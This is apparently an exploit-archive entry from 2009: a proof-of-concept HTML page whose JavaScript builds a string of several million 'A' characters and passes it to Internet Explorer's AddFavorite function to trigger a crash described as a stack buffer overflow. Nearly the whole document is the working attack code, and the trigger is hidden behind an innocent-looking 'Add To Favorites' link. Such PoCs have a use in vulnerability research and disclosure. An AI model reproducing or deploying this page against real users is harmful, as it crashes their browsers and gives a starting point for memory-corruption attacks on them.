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# Title : Microsoft Internet Explorer (AddFavorite) Remote Crash PoC
# Published : 2009-07-09
# Author : Sberry
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IE Add Favourites Stack Buffer Overflow POC

Sberry, Compaq

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<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function go()
{
	var str =unescape('%u4141');
	var finalstr = createInlineBuffer(str, 5150000);
	var len = finalstr.length;
	document.write(len);
	addfav(finalstr);
}
			   
/* Effient in-line creation */
function createInlineBuffer (str, num) {
	var	i = Math.ceil(Math.log(num) / Math.LN2),
		res = str;
	do {
		res += res;
	} while (0 < --i);
	return res.slice(0, str.length * num);
}

/* Vulnerable Function */
function addfav(str)
   {
   if (document.all)
      {
      window.external.AddFavorite
      ('http://'+str,'Crash')
      }
   }
</script>
</head>
<body>
<a href="javascript:go()">Add To Favorites</a>
</body>
</html>

# www.Syue.com [2009-07-09]